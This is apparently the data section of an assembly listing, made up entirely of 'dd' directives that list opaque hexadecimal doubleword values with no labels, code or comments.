		dd 0D488720Ch, 4DA1E200h, 0B34715D9h, 647BABh, 35379B06h
		dd 0FC20BD6Dh, 12C62200h, 540DB8F8h, 0CBE300FFh, 0F0ACC3A7h
		dd 4E39A0B2h, 386F0015h, 0AB170510h, 0CC06385Ah, 0C1757700h
		dd 1BF8CD4Ch, 4FA3EC00h, 1AEE2C61h, 51330357h, 7D48BD45h
		dd 945B1900h, 86BBC00Bh, 0F7AC0041h, 0C89B78C5h, 90723CAh
		dd 0D6CF8CD9h, 0FAE760EEh, 791C9h, 4F0FDD1Ch, 0FDC8B5C6h
		dd 0D9897B2Eh, 0EE6D5100h, 50DC2017h, 87B4EAh, 97ADFE3Bh
		dd 0E1239005h, 0DC654E38h, 64FA0167h, 0CA495F71h, 0E587E8h
		dd 0DFE0E7B9h, 0E23CEECh, 2C00D3F8h, 40C801C5h,	246D32C7h
		dd 941B44h, 0DFB0E445h,	51006838h, 67D943CEh, 955CC1C0h
		dd 50781D70h, 0E20198FEh, 0B6E82C91h, 0A0EB43FAh, 0E39C7Bh
		dd 2ACD8195h, 7197708Bh, 0C0B53A00h, 36B43FF5h,	3FEA0B1h
		dd 0FDCC0F57h, 4854538h, 8071842Fh, 0DE139F60h,	2AD61F00h
		dd 0E5DC3A84h, 0B12700EDh, 60FCDDBBh, 77E92A7h,	0DE71A671h
		dd 0E0247500h, 37C7CDAEh, 66F41Ah, 0EFD1A7D0h, 0CBF8316Ch
		dd 3519AC09h, 0AEEC0FF9h, 67F8679h, 0B30E1D48h,	8BB00F8h
		dd 45C13478h, 8FC8680Eh, 49516024h, 0B8980Eh, 605D440Ch
		dd 3E049C5Fh, 0FFDB9500h, 1D736E8Ch, 0CE6A1D7Eh, 0F7C6C569h
		dd 0FA858347h, 0EEFED000h, 0A12FF2ABh, 99673B72h, 876A0300h
		dd 25595073h, 0AECD8303h, 0A0F02E32h, 0EC5708Eh, 0ABC6421Dh
		dd 0EE83CB20h, 0D4C06EB6h, 7C40FB57h, 0B1E90073h, 3B55ED79h
		dd 2B00CC93h, 0C4D66261h, 90F83C7Dh, 0BC7F007Eh, 84EFA3FDh
		dd 5F6073C1h, 0F3384644h, 30676FCAh, 61141D43h,	6B8DBFB8h
		dd 5A272318h, 75EC28h, 39BC4C1Ch, 9EBB4D91h, 8068F33Ch
		dd 0B522D714h, 0FE6EFDh, 92AF2CB3h, 3DE6F60Eh, 1E947C00h
		dd 0C3675910h, 68276040h, 0A96E310Fh, 0A454F224h, 0FA41B800h
		dd 118F75h, 3CEAEB29h, 991039Eh, 872CCEE0h, 24826CEEh
		dd 40BF1557h, 7099827Ch, 0E97B10h, 0AA2C0166h, 0BFBEC523h
		dd 26B62B02h, 8056B51Eh, 0B918B07Ch, 4BCA01D9h,	0F6603362h
		dd 38BFE4CCh, 74AD952Eh, 9B3BB00h, 2CD07A87h, 3D2D5026h
		dd 40B7319Ch, 4F843B8Eh, 461EC8BFh, 20407C55h, 0F6F47A94h
		dd 367261h, 14524D87h, 0FA6DD51h, 2D8C2500h, 9F1F4E60h
		dd 0A047909Ah, 14819Bh,	0D9BED73Fh, 0E0024F16h,	6D5DE300h
		dd 0DF1F7226h, 7E2E2A5h, 4D78563Ah, 0AB2A202Eh,	1600E063h
		dd 8E5F38CFh, 1B02E6h, 0D77D7537h, 0C704666Fh, 80C0F83Eh
		dd 59C24EFDh, 86A73Ah, 20BEEB0Dh, 0EDD9A083h, 60FA8B0h
		dd 8F1F921Ch, 0A4003C39h, 3EF3016h, 4C520063h, 70B6FC12h
		dd 3A012E34h, 0DA41A1BFh, 0AEFC08A9h, 23930048h, 9C28EF7Ch
		dd 607257E9h, 0DFECD400h, 6934B5FCh, 8B0F1C29h,	0E0C1C044h
		dd 40A5493Fh, 18F0B900h, 7B96904Eh, 65C500EEh, 0D995BCE8h
		dd 717751D6h, 9CB7E42Ch, 5D26FF80h, 50F9ACBh, 0D7B0EC57h
		dd 92680B1h, 3300E1D4h,	0F02C8C50h, 7776F7h, 10AC7F7Dh
		dd 68E24154h, 0B64E0700h, 0A4330961h, 43B304F7h, 802B859Eh
		dd 9B6BA628h, 37835E2Eh, 391B2Ch, 0FF8B7674h, 731496Fh
		dd 0F92A78D7h, 0DC029B71h, 88C0295Ah, 0D22E187Ch, 0CF0F440Dh
		dd 0E5C0EE1h, 0D82E6035h, 1816C5Eh, 0ACCE7FE5h,	0E4CABA95h
		dd 4000C599h, 0E77BC139h, 60CB32D4h, 26E28831h,	1200F9E9h
		dd 0C227D2D1h, 51C11Ah,	0E5ACAA77h, 9A158B13h, 3C8D630Bh
		dd 553000FAh, 74875712h, 0F52A0094h, 0E91DBEA9h, 0F61903A7h
		dd 28882FCFh, 93850ECh,	6067630Dh, 512EC003h, 7465F890h
		dd 0BEC5403h, 0E04F996Eh, 3BEA5BF2h, 2500DD8Ah,	0A8BFBA90h
		dd 6203EE41h, 0AA7B09A9h, 0BA698FBh, 18B11D4Dh,	7253C3h
		dd 138D6280h, 693BCD86h, 0D9FD8019h, 4F565961h,	807A074Bh
		dd 60F5E336h, 0BD29D8C7h, 0C5BED00h, 0EBC081CBh, 920A0FCEh
		dd 11CB8296h, 2EE04C0Eh, 0EA3C0912h, 0FAD82701h, 0CD5FB663h
		dd 0EC97DF8h, 4F9D3A94h, 0E20AFEFh, 0C3D5F4E7h,	26178B07h
		dd 20A015CEh, 90DF63C8h, 786600FCh, 0B437B7DDh,	0E8070867h
		dd 0CEA1B2Ah, 0FBD17AC0h, 0B8C75826h, 0C9BB2201h, 0F8C21DB6h
		dd 5A3B506Ah, 0E2459387h, 8C408C79h, 1CDC4464h,	4071F2E2h
		dd 8AB2F431h, 0B03F385Fh, 74219FBBh, 119FA140h,	58835C0Fh
		dd 53015DDAh, 0D51350F9h, 0C46DCD1Ch, 1E7EB3A1h, 90CCA024h
		dd 438DA300h, 0A81251h,	0B2F92C73h, 0AA9DA28Fh,	0EEE6B405h
		dd 9AC01AC3h, 0EAED17h,	0D842D01Ch, 0B50124A2h,	0A4FCD226h
		dd 0F8325A00h, 0EBCA1Eh, 0E5D404CDh, 0C78216D3h, 0B1FDCE00h
		dd 678AE875h, 0F28F00E9h, 99E73BCh, 494C84CFh, 3C6000C6h
		dd 0A6539B5Ah, 818A307Bh, 0CEDE992h, 0C2FC325Ch, 0EAFAD35Dh
		dd 0F08F0Ch, 776CD8BEh,	0C32A0022h, 960E7809h, 1A005219h
		dd 71C5AE3Ah, 18DAF824h, 0B0F7F16Ch, 0AA1E1B5Ch, 60C7A901h
		dd 932E98BAh, 0A4AEB401h, 89E45E85h, 919C1EE4h,	0C681C0D2h
		dd 35CFCA05h, 3DD0031Eh, 0AB284100h, 24699Dh, 0B5D7B7Dh
		dd 51A275FCh, 0D725F900h, 0B69F19CDh, 417F0FF1h, 0C9A00365h
		dd 0A6028FDFh, 684AE000h, 382CBFD3h, 75B500ADh,	0E932CAA1h
		dd 62E4A90Dh, 0E2147304h, 0C0B1B855h, 4B50FDCh,	548F6E02h
		dd 0BE3B8056h, 6C49B1B3h, 80253C20h, 742A571Ch,	9EC7AFh
		dd 73BBB733h, 0FDFB378Fh, 13D31800h, 0AC4C62A7h, 77D9016Ah
		dd 0E7D00B66h, 6F2D6004h, 90EF2C2Ch, 856F88Eh, 50D40EDh
		dd 0BB0779FFh, 84AFACA1h, 3C90C3B0h, 8D1B0B34h,	0A000E6E7h
		dd 0A463C45Eh, 891A9401h, 8EA5C07Ch, 96F5C8h, 0A6443C7Eh
		dd 289BD77Fh, 0E8F468C0h, 0FCA0CC4Bh, 3C8B823h,	66DD73C0h
		dd 0FA00FAFCh, 6D0CB502h, 12EB2185h, 0B47C7Dh, 0D496AB2Fh
		dd 50C03EAEh, 84702349h, 52130912h, 7860357Ch, 3200AADDh
		dd 6EFF1DC3h, 2E24C533h, 0BA6C2A8Bh, 0A0035BDh,	4EA8DDCBh
		dd 5B342FDEh, 79C18866h
		dd 0BAD8024Ah, 91A3FDBh, 0F116D400h, 0DCFB6FB3h, 9501D218h
		dd 87BE48h, 842C9F56h, 0C9DAF08h, 54E07C01h, 58C85A53h
		dd 680E70h, 0F1B28C98h,	0CC94AB61h, 0BC9BA700h,	0AF657A2Fh
		dd 96691504h, 0C2038C07h, 7806020Fh, 0AC92801h,	0B51B5509h
		dd 3F0E5C38h, 40B7D293h, 9EA014C0h, 0BEFCD7BFh,	0CB2F8D04h
		dd 9880E907h, 5C52E4h, 93514D92h, 9810E7B5h, 0EB6F8600h
		dd 0E5CE90B6h, 0A7C00BAh, 6DCAF6B3h, 0D40EF1FFh, 60FD1237h
		dd 8D41E24Ch, 0DF732E80h, 6D8C00F2h, 5B444E2Ah,	9AA8D60Ah
		dd 40A4B83Dh, 0E4EA8D80h, 0F4BBA485h, 975404A0h, 0A01C845Dh
		dd 773786C8h, 38D0E9ACh, 0EA613D93h, 132000D5h,	15515303h
		dd 0AAF0A20Bh, 7B741A19h, 0E849CC61h, 1836E4h, 0D1073DCDh
		dd 0B24B446Eh, 97C83A50h, 0F1279802h, 80F26F96h, 0A6EF6AA0h
		dd 399C002Fh, 0FD5BD049h, 0B90E5319h, 401E5DF7h, 4592B62Ch
		dd 5FE200C9h, 7DBB0644h, 0F9127FD2h, 8C4A6A2Bh,	0E82440EDh
		dd 3AB0DC14h, 27078787h, 0A04E45DFh, 9DC37640h,	649C0056h
		dd 0C0D205Dh, 0B008A5Fh, 55F558B8h, 0F6B4F9Fh, 2BE89091h
		dd 0A96571A0h, 1112DACDh, 0FC41C28Dh, 1650777Ch, 98B39440h
		dd 0EE8E004Eh, 0B54F681Fh, 6D0E47DFh, 0BF4150C7h, 0B2E2CEC0h
		dd 0A7D113h, 0F9328721h, 4CA0B1DBh, 0E4050C00h,	49CB0B03h
		dd 0B5FE00A8h, 0CD6726FAh, 12001576h, 0EA42ADC0h, 95F616Fh
		dd 0B560FF2h, 589A3CA0h, 180649C6h, 95457EEFh, 0DEFCF8h
		dd 656366E5h, 0E76061DFh, 845AA509h, 8624A189h,	0EC35DE2Ch
		dd 8EED5450h, 7AFE88h, 63F0783Ah, 4C11D1E2h, 0B79E0800h
		dd 3B8F0329h, 88930034h, 6543A42Eh, 0C800788Ch,	811884C4h
		dd 0A095F7h, 0A8328F42h, 88A93C80h, 0AA2BB300h,	0C9572CCBh
		dd 4A670EE0h, 60548F3h,	0BBC00DCh, 0D97B19CAh, 1B6A9B13h
		dd 3716E400h, 0BA03862h, 0ED720DC8h, 80D38E03h,	0B20E33B8h
		dd 0E6B13714h, 0A0A825C8h, 96781314h, 0CDE807CEh, 778B1527h
		dd 10EF6081h, 0B83F2891h, 57EA8004h, 0EE9F253Eh, 0CDFA0999h
		dd 2423CBF0h, 0C871A637h, 0A70055E8h, 1446946Bh, 0B2B2FB6Ch
		dd 0F0BD0074h, 57CF847Fh, 31485CACh, 7C980410h,	0FCD03469h
		dd 1FAA89Eh, 0CFAC79D6h, 85C9BE02h, 13945018h, 51DB2BC0h
		dd 42620145h, 0ADBA8B67h, 76A82DCEh, 0EE84E300h, 151A1C39h
		dd 0AF750069h, 0CD20B319h, 554CC992h, 76E7007Ah, 270DADDBh
		dd 0A0E47Dh, 0EA059658h, 0F9FFA94Eh, 8870707h, 3090700Eh
		dd 1ADB316h, 0CC0AF59Ah, 0CCFF1E88h, 93782A96h,	23F6B1Fh
		dd 5ED82D00h, 4A957A1Ch, 1E4C002Ch, 8AAE298Fh, 0B4907B50h
		dd 0C9884400h, 0FB024C46h, 0EB8100FFh, 0ECF6CE9Eh, 304B3A27h
		dd 13DE3EB0h, 25BC19h, 0D341B800h, 0BB014B1Fh, 0C3DB9B9Fh
		dd 53C0E28Ch, 0D9CD004Ch, 982ED6F2h, 0EB002918h, 0AB1DB747h
		dd 7113502h, 6BCBB527h,	8FBCF0C8h, 43073482h, 0B67A5540h
		dd 905631A0h, 1C6F4C10h, 0CB74F000h, 87D88B5Bh,	800C0FCh
		dd 9DD0B449h, 481F52A4h, 4B248205h, 0B9E90040h,	6DC41DDBh
		dd 0A9A26400h, 53CD5C1Bh, 9FF8097Eh, 0F8253E3Bh, 698C8150h
		dd 0A06EF092h, 843B409Eh, 13432EB7h, 62FA0090h,	0C80113CFh
		dd 2BFC00BCh, 3D9620E0h, 98013BF2h, 0A1423557h,	60FE0192h
		dd 2176C8h, 0AD4A131Dh,	0D70E7312h, 20D3C003h, 772EA17h
		dd 8883AA10h, 16EC418Dh, 16C2Fh, 2EBD1D77h, 168A0EBh, 5E73A45Bh
		dd 0CCDFF36Dh, 7A004C57h, 0C6475CAAh, 0CB768Ah,	23A1CEA7h
		dd 935BC595h, 0D0217128h, 37BDFF07h, 0CC609A5Ah, 9B0DA8h
		dd 2C72D09Ch, 0AE9FAF35h, 4CDF0E1Fh, 0E7520200h, 0C54E2Bh
		dd 0ADA6BCE3h, 0F854B258h, 0BD494812h, 92360BAFh, 0B13CB880h
		dd 0FD1F06E1h, 89C0A36Fh, 4C767370h, 0EC5658A6h, 7C16443Ah
		dd 3C5C07C9h, 0E76190B8h, 0C89181E8h, 6900401Dh, 0EE53A2B5h
		dd 96BE0BCEh, 50A068DCh, 73EAD784h, 0C4B2FA00h,	2DCD8241h
		dd 79B32EB4h, 0F0383E7Ah, 0DE475400h, 27392252h, 0F717AB00h
		dd 32CB30D8h, 0E807E8D9h, 0F690051h, 0F58A0E2Bh, 0B216091Ch
		dd 8C402E65h, 3E98398Eh, 9087009Bh, 0F15AAB1Bh,	0E800C26Fh
		dd 4A078624h, 2543AAh, 422058DFh, 0B45BAB26h, 4103C800h
		dd 90E5A59Ah, 169B08Dh,	0F5F08ACh, 6CEF5BB2h, 789411ACh
		dd 0C8327400h, 66AE26E6h, 76B2F600h, 0F78A4D0Eh, 93570062h
		dd 0B6A03EEh, 0F0923FA7h, 9EA3961Eh, 2109282Eh,	1F3CA0C9h
		dd 4A50CE2h, 0A09D7E9Fh, 66D2C073h, 1200835Bh, 4335BCC4h
		dd 1E0C0E3h, 0A3AE8808h, 410B2794h, 0E40FEBA4h,	0D6001E8Ch
		dd 0A71AF5B3h, 0D42098h, 34ED7FB8h, 0CD1CFC11h,	665C7702h
		dd 407375CAh, 4E0168h, 0F1144DA1h, 0D18075Ah, 0EE80C200h
		dd 0D0439156h, 4D360028h, 0BC0312D4h, 0A07A8A0h, 78563CB4h
		dd 8ABBC08Eh, 4510477h,	6C60356Dh, 2B80A067h, 820011F8h
		dd 7BE69B7Ah, 0EA7CAC65h, 7C90F2h, 0C0FB4599h, 9CEAF969h
		dd 7E004BF0h, 0AD52984Ch, 47A644h, 2B423FC1h, 490BDAC5h
		dd 6A14CC0Eh, 5A9A028h,	46838E0h, 0CE614B6Bh, 0B3349075h
		dd 0B71843DCh, 0EB1024F1h, 6B5602A4h, 77ADF84Eh, 7069C241h
		dd 0CC26623Ah, 448010CDh, 392075E2h, 8FD81C21h,	487E8E76h
		dd 0D1B68340h, 0F600C9D2h, 7D1596D3h, 3D4D34BEh, 0BD007CCDh
		dd 36868B31h, 0E97C0EEBh, 10B3C801h, 61629BB9h,	26B201F8h
		dd 0BA50BA69h, 6858405Dh, 0B40B4848h, 94818E3Bh, 30A2FA07h
		dd 330EBA24h, 0E5C0BBh,	5168364Dh, 3B15067Bh, 0D8F119B2h
		dd 9F27F000h, 0D2B394C7h, 736700DCh, 16C9C6CDh,	0CF025497h
		dd 366194Ch, 5660C025h,	5F600C1h, 7561B298h, 900088A7h
		dd 8EB28C7h, 0FC96B073h, 1F59905Eh, 0C10A26F6h,	0D4F7BB89h
		dd 0B9CCF043h, 403EA400h, 76F16FEBh, 5DCE0008h,	0DD9C9EBEh
		dd 8EF81F63h, 4B2DE800h, 34877AAEh, 0ECA300B1h,	660BC08Dh
		dd 0E5055A05h, 2686701Dh, 0CABD00A3h, 0E7BB338h, 859AE2C2h
		dd 966E8B80h, 0D002FC5h, 5935A20h, 4AF528A0h, 2E4C0071h
		dd 0F8C392A8h, 0A020555Fh, 2F43FFh, 0C67B10BDh,	0F8FED909h
		dd 4D877914h, 8E0777B4h, 0D544BA99h, 0C173D020h, 7998E6h
		dd 809220EFh, 3B3DF8F3h, 4900487Dh, 8E4E99C5h, 3AA35h
		dd 0DCBF6786h, 46DED43Eh, 0C8006A7Ah, 0B51CDD43h, 581040E5h
		dd 0B3489C2Dh, 0FD1FD600h, 4E72C174h, 8ECD200h,	877D8297h
		dd 1A0B004Ch, 9A119E1h,	1C00E371h, 0B2A6A28Eh, 58504Dh
		dd 72B42416h, 272545CDh, 440DC6Fh, 0FE83695Dh, 0C0E5F879h
		dd 7A770065h, 0A381BFDEh, 984BA1BBh, 0E4E74400h, 0E474308Fh
		dd 611C0072h, 0A2277087h, 2318368Ch, 0EA0980A8h, 0CA20165Ah
		dd 0CC8900E0h, 0D8131918h, 0CC4313Ah, 0DACB0ED3h, 0F5561E03h
		dd 809C6E82h, 0BA5DBDF4h, 1201C071h, 0DB35463Eh, 97F4A3D9h
		dd 8C48BC0Ah, 66208C71h, 3FDB3419h, 87216F28h, 9644208Fh
		dd 407C1C9Eh, 456A04D1h, 33519835h, 0CA9CC020h,	95721201h
		dd 5D939F13h, 1DA38080h, 31B141B3h, 910B8600h, 744D8F0Eh
		dd 0A01361D7h, 402D9818h, 0B3056D24h, 3879BA32h, 970D6083h
		dd 7B10A02Ch, 9A1CA196h, 0EF5C5080h, 622FE6FCh,	0BB70BD3Fh
		dd 428780B0h, 7FFF4C63h, 27ED00C4h, 0D99A85C1h,	38030DD3h
		dd 996FB9A7h, 3EF01DB1h, 221FC0D8h, 1809115Ch, 9719DC00h
		dd 85D55296h
		dd 54603DDh, 3DBEC9F2h,	0E9C26088h, 2E43E100h, 3556F303h
		dd 9A50047h, 309DFCF0h,	4600F8A1h, 0C95D718Dh, 7646778h
		dd 7086D916h, 0A040C374h, 439ABD8h, 3D027200h, 0C33A212Ah
		dd 41F00075h, 3F531284h, 8B003540h, 0B75294A8h,	0FC973Ah
		dd 0B24AC12Ch, 0F901145Dh, 80BDEE25h, 67D241D8h, 7074F5h
		dd 9590D1D3h, 3C8D493Bh, 0FC39960Fh, 0C4392DCh,	0D842F2E4h
		dd 78467593h, 0BA320380h, 6D5F9B4Eh, 0E6E270B0h, 450AF478h
		dd 0C01DA19Fh, 0CB1541Ch, 4980CEDAh, 264DE508h,	4424F6FDh
		dd 0BF017E69h, 0ECEFB74Bh, 0AE969980h, 0F543C925h, 52A1900h
		dd 0BB6A53FFh, 2457F5Bh, 159BF81Dh, 0B47071B6h,	0EE3DF400h
		dd 29741308h, 0D17B24DBh, 0C9500D7h, 0E9751E8Eh, 0BEBCF45Fh
		dd 0F3267A01h, 80F099E7h, 0C0732871h, 0FCDDB60Ch, 7BA518C6h
		dd 121859D2h, 0B8307817h, 0BB01BC1Fh, 2CA3F746h, 9941BCF5h
		dd 44F9725h, 771FAFB8h,	0F80696B7h, 3D18A3C2h, 0F980BC8Dh
		dd 2F9A99B6h, 0E190C567h, 4C8F4E00h, 3D3CB2F8h,	728D3802h
		dd 304629E2h, 1B32A00Fh, 49AE03h, 68AFBB82h, 0F6214F8Eh
		dd 0CEC10B1Dh, 8F009192h, 7606B016h, 64330032h,	0D6B5B1F0h
		dd 62E261C5h, 56485D00h, 0FE8FBA88h, 0BEF7078Ch, 834F9F72h
		dd 0FB8E30Ah, 0EF00B647h, 6C43D084h, 7D04FEh, 73697F2Ah
		dd 0E71E21B9h, 42A65500h, 0A4316054h, 0BD483C67h, 0DF9FE280h
		dd 46072A23h, 0DBD1771Fh, 0AEF37A40h, 0E41FA87h, 0E52FD42Bh
		dd 25189380h, 0F703532Ah, 10C84E16h, 22409726h,	4D9E6Bh
		dd 135F962h, 0B927D811h, 94A7DC00h, 28E19CC0h, 0DF4EB5Bh
		dd 4B32005Fh, 5C6F3886h, 0DC00C7B8h, 30B07F1Fh,	367D663h
		dd 36764D95h, 8CC95642h, 0DFB470A8h, 0A017E416h, 4CF5730Ch
		dd 193403B0h, 0FF25946Fh, 0E5EFAAF0h, 0C2275A01h, 281D4576h
		dd 4377C8FBh, 0FF8E0039h, 3C6D1F0Eh, 290F53E0h,	1D51DA7Bh
		dd 0FA630847h, 748680E9h, 2414ED9h, 0B7577615h,	0A0801D20h
		dd 13772C4Ah, 225A5805h, 8F803E4Fh, 0D0C447h, 2474B968h
		dd 94CABFFBh, 9146FF02h, 40C7F3C8h, 0B43416h, 8E5579Bh
		dd 543BE190h, 0A69ABB00h, 5287ABA3h, 48600510h,	0C58E550Dh
		dd 384000F3h, 717025FDh, 8133F7A1h, 7BA3A741h, 80875BCFh
		dd 0F922601Ah, 652C0E83h, 0D08B70A7h, 0F0EE7D54h, 0EB024F72h
		dd 36EAC858h, 0B17848D3h, 384DF426h, 0FD0034BEh, 4038E8CBh
		dd 500646FCh, 4562CC84h, 0F0E90060h, 98B7F6F2h,	82306AB3h
		dd 0AA9A186Dh, 0AEA100B4h, 76EEF70Dh, 4000EF05h, 5CAD9893h
		dd 0EA0AC2h, 4A7574FCh,	6845D632h, 0D5C4CC01h, 5CAA7F6Fh
		dd 77D9E0h, 0B2FF1814h,	75E5FD58h, 88D4E71Eh, 739CA80h
		dd 3D9CEDFh, 0CBAFE21Fh, 0C00097FAh, 2BD428ACh,	0EECF909Bh
		dd 0DAF4009Dh, 47DBFC8Ah, 0CAF60AD3h, 2F173503h, 0BB038Eh
		dd 7D4E08CAh, 0C213FC81h, 89C57A26h, 0C475A901h, 0F0489888h
		dd 0D89A1F4Dh, 1AA6C094h, 0F89537C1h, 86C80200h, 3D327126h
		dd 70D704CFh, 0C0960749h, 556B1A20h, 5E09F71Fh,	92A54681h
		dd 43F094ABh, 527D16A6h, 12ED0087h, 3FE3C8B4h, 0F2007EE6h
		dd 0DD44AD69h, 4EF58D3h, 0DA208A96h, 0A5BC8309h, 71E637E7h
		dd 483BCA2Ah, 40FB5EACh, 81FFD887h, 0D45236ECh,	42824ECh
		dd 467F358h, 0D14D34F8h, 0E1C90DAh, 4F0347DEh, 3C216D6h
		dd 0E31BB8DCh, 0F97CF248h, 758024h, 9A5092AAh, 406AEAC6h
		dd 5B18297Ch, 0D4602C59h, 0B3B600E9h, 65191305h, 0BD0591AFh
		dd 6FF1EEBAh, 348F885Dh, 0FAEDA0F4h, 4C9EEAE3h,	7300BC24h
		dd 9508B14Ch, 0AC039DC8h, 0F3CAF8D9h, 1898CED4h, 6970B78Dh
		dd 157BA24Ch, 94D91260h, 54A6A8h, 7870A4C2h, 243914F9h
		dd 0CF97AE07h, 3FA43790h, 8EB29891h, 0ECC024h, 5E153867h
		dd 1ABF52D3h, 57A91D0Bh, 0CF042026h, 1FB25FCh, 5485789Fh
		dd 24B9F665h, 220C20F4h, 8029BD34h, 90C1DA8h, 3F370DB5h
		dd 6C4720h, 479628D1h, 8FA841FDh, 0BBC49C75h, 4F0F3641h
		dd 54532068h, 0B811094h, 12A809Ch, 0C15E934h, 2D30AC86h
		dd 58012570h, 98CA622Bh, 61D8FB74h, 82FA18C3h, 0B7A78139h
		dd 64A1200h, 0CB46ED97h, 4F6A01D0h, 273CB06Dh, 0C20C222Bh
		dd 40DC9A0Ch, 406D1164h, 0CEF4295h, 13B7035Bh, 780B181Bh
		dd 758DCBDFh, 22A4570h,	9D6FBB9Ah, 86D4D260h, 608E1230h
		dd 392955E3h, 0F1BA144Dh, 1B81804Dh, 0D4F06F71h, 7F3CEAC2h
		dd 1080800Eh, 634515FFh, 814A00CBh, 0A6DE43C5h,	0CCF73A64h
		dd 0BF4D5F2Bh, 0FA5B038Ch, 7858F16Fh, 0B5BB2A50h, 999700CCh
		dd 718789F2h, 0FE1F7018h, 6DD356F8h, 1444DC2Ch,	0D82B207Bh
		dd 0DA7C82C1h, 6E843045h, 19021EB0h, 6848250Ch,	7E38682Ah
		dd 7DFF2481h, 7BA900D9h, 5569DFD7h, 72075900h, 0F83BB55Bh
		dd 4CB89852h, 54002C6Dh, 41C38593h, 38185CF7h, 75B85561h
		dd 0A5D23F7Ah, 48E226h,	66976432h, 8C00CDC6h, 80DCFE0Dh
		dd 3957125h, 6A850908h,	0D08F0EC2h, 79C0972Dh, 64012902h
		dd 806620ADh, 34154D80h, 49A70C41h, 6F388DFCh, 0E20223F2h
		dd 0E666C835h, 6E80809Bh, 1F70730h, 0C210A269h,	0F860A7D6h
		dd 0E80F9037h, 0C0047D16h, 0D79C3F87h, 0ABEC4Dh, 0B3233250h
		dd 228B4788h, 499AD600h, 0DD284C9Dh, 837C0003h,	5660F893h
		dd 0B27B3345h, 17EA2B00h, 25D81CF5h, 0F84E0AB9h, 3C0CC67h
		dd 0F9213964h, 0EBACD9C0h, 0BBCD3700h, 0F7990DEDh, 70973D20h
		dd 0D930E5h, 0EF382D93h, 0B10F4592h, 470CF45Dh,	72A01F5Bh
		dd 6EB2F6h, 7CE8D6D1h, 74AFE47Fh, 6C8E4A24h, 1058B09h
		dd 26200A8Ch, 1CAE1C24h, 406C1FD0h, 33B7398Eh, 0BD33A889h
		dd 40962ECh, 0E3191131h, 397BC08Ah, 0F7009372h,	0C4BDC692h
		dd 5ECC5Ch, 0EC0FF20Ch,	366189CAh, 23D48E00h, 0E1698801h
		dd 9BA10008h, 0B41CEB34h, 771D3F72h, 83C0A692h,	7F433931h
		dd 0A1673A22h, 14BFD297h, 0E100413Dh, 1E5585CEh, 5000D924h
		dd 0B3038A38h, 0B2DE21h, 0EDDC2F99h, 164654F8h,	4AE3D303h
		dd 8D7602h, 38EFD5F0h, 4084246Ah, 0F3B5640h, 2CD2E210h
		dd 89F840F3h, 87CBBAADh, 94429003h, 91C7F0h, 39292740h
		dd 0F13F8EEAh, 4167E200h, 0F6C365B1h, 0FE53007Ch, 26283608h
		dd 43A1496h, 0B640012Ah, 5A1DDA34h, 132D2080h, 4EA86FA0h
		dd 0A9201F00h, 0CFEAEC5Dh, 28B500E9h, 8ED538F6h, 0C7A03E35h
		dd 0A2488B17h, 2100EF0h, 0FF2E4072h, 715AE4C1h,	0E82D00C2h
		dd 0C98E079Ch, 0F4EAE105h, 0BA0BCF00h, 0C26B5AAAh, 10D3004Ch
		dd 7975B14Ah, 2E00AF3Ch, 0CEE6EBB5h, 0E0125066h, 0A55D3B0Eh
		dd 0DCAC698Fh, 0D0B554A4h, 32A4D490h, 19E1F25h,	0B1F89258h
		dd 0EDDA9034h, 69B82B13h, 11001203h, 0EC3B6B4Ah, 992A71F0h
		dd 859F8024h, 3797FEA5h, 4CECAA0Bh, 315880A8h, 4AD0E9h
		dd 80169FFDh, 0ACEA360Dh, 8D0304F6h, 0B37DDDDBh, 0C6BBDAE3h
		dd 4FF600E8h, 6860B939h, 5B0FFDE0h, 4593D7ECh, 109038AFh
		dd 0C0EAA9C5h, 0EF944F68h, 663AC93Ch, 0EB9F0483h, 90D0D2C2h
		dd 24AF7Ah, 7142417Bh, 609DA989h, 0C89B4D0Bh, 40C800D0h
		dd 0BE0F3Dh, 9FF07D02h,	30591C08h, 37164739h, 33A07141h
		dd 0B1EFD4A5h, 93D190ECh, 0E64C3C22h, 18C10038h, 0A4D64EBBh
		dd 0FF0234B5h, 8F28202h, 85051F1h, 9AC28D78h, 97D06528h
		dd 17500124h, 0ACAC5B6Ch
		dd 6D0050C1h, 138B8597h, 59DF3050h, 695F6A78h, 3A7C0C59h
		dd 815A02B2h, 688F9F06h, 0EB8204h, 6FDA6779h, 0C797C923h
		dd 454FE401h, 0F62B2146h, 0E573CCh, 0A1C67790h,	803F3623h
		dd 471866E2h, 0B3689ECBh, 0BAA21E1Bh, 702C85CDh, 0D7B8C2C3h
		dd 8A001C50h, 0C93E7DB0h, 765B98h, 0BAE9ABA8h, 14F7A5B2h
		dd 82BC4819h, 0D6C4FF48h, 4AB8005Fh, 22EDEC4h, 0AD2C9C64h
		dd 2F80A090h, 0B0FD738Ch, 0E3EE69h, 40195065h, 4EE48B23h
		dd 2800D5F4h, 0CFBB5F03h, 0BDFC06h, 57CCD8A2h, 8B1FDC5Eh
		dd 0E82CFF00h, 0ED27DD42h, 0DAC23132h, 20219F18h, 0D5696925h
		dd 29E08C10h, 46860010h, 6064C8E5h, 0EA908324h,	33EE0F00h
		dd 0B4991D43h, 32EF009Eh, 0AE905F94h, 0CB00CC06h, 0F0C3D2B8h
		dd 0DAA3D9h, 2BABCF18h,	6F8D3E92h, 0F8EC722Eh, 3689EF00h
		dd 0F8A5E8h, 2B42BB45h,	0EAC5653h, 4C062C00h, 38A9EB61h
		dd 0A2A300E2h, 88AE8643h, 0C094C299h, 0CE3AF20Eh, 0EB30C07Ah
		dd 9C6812h, 0F9199856h,	0E04713D3h, 2C5EA100h, 2D9F78E9h
		dd 1C1B037Eh, 6F9D3A09h, 0E0CBA3B8h, 8F10581Ch,	0B72BCF40h
		dd 16E6F787h, 7706174Ah, 18CF708h, 0D859EE5Fh, 0A50014DEh
		dd 6F72F093h, 0E3F560h,	620A157Ch, 0B14D90BAh, 50D18A30h
		dd 0A9B41Eh, 0F4C0A447h, 92182C3Eh, 3E88733Fh, 8DF085FEh
		dd 9680DD77h, 47CEDBh, 9183E6E7h, 0EA30F4F5h, 2DE01900h
		dd 4DF3AC96h, 0C9D0A371h, 0D28092C8h, 0EE8E7A14h, 78074431h
		dd 0E9B38B53h, 889EA380h, 0CF06035Eh, 5190EA0Fh, 1B411AF0h
		dd 9206000h, 42D32953h,	37050044h, 0DFB2A662h, 39002E87h
		dd 0D95C17BEh, 0A13A14h, 0B30E7CC9h, 7582E1C0h,	0C183E716h
		dd 0A8F57400h, 3D11FB4h, 120CE947h, 9390606Ah, 0EE1F2866h
		dd 0E700493Bh, 0A607275Ch, 5BD300A8h, 0EFF263D9h, 0A2F291D6h
